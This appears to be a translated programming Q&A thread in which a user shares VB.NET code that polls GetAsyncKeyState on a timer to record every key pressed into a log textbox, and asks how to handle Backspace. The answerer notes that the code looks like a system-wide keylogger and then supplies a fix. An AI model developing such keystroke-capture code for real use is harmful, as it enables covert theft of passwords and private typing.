0

我的代码在按键事件中,当我点击 Backspace 按钮时,它会显示一些特殊字符(如方形框)。如何防止这种情况并使退格键正常工作?请帮忙。

Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
    Dim result As Integer
    Dim key As String = Nothing
    Dim i As Integer


    Try
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                txtlogs.Text &= key.ToUpper
            Else
                txtlogs.Text &= key.ToLower
            End If

        End If
    Catch ex As Exception
        MsgBox(ex.Message)
    End Try


End Sub
4

1 回答 1

1

我有点想知道这个代码有什么样的用途,除了一个系统范围的键盘记录器,无论如何回答你的问题,这可以解决问题但它不是万无一失的(就像它无法检测到选定的文本并删除它)

    If key <> Nothing Then
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            txtlogs.Text &= key.ToUpper
        ElseIf key = vbBack Then
            If txtlogs.TextLength > 0 Then
                txtlogs.Text = txtlogs.Text.Remove(txtlogs.TextLength - 1)
            End If
        Else
            txtlogs.Text &= key.ToLower
        End If
    End If
于 2013-08-17T13:55:06.027 回答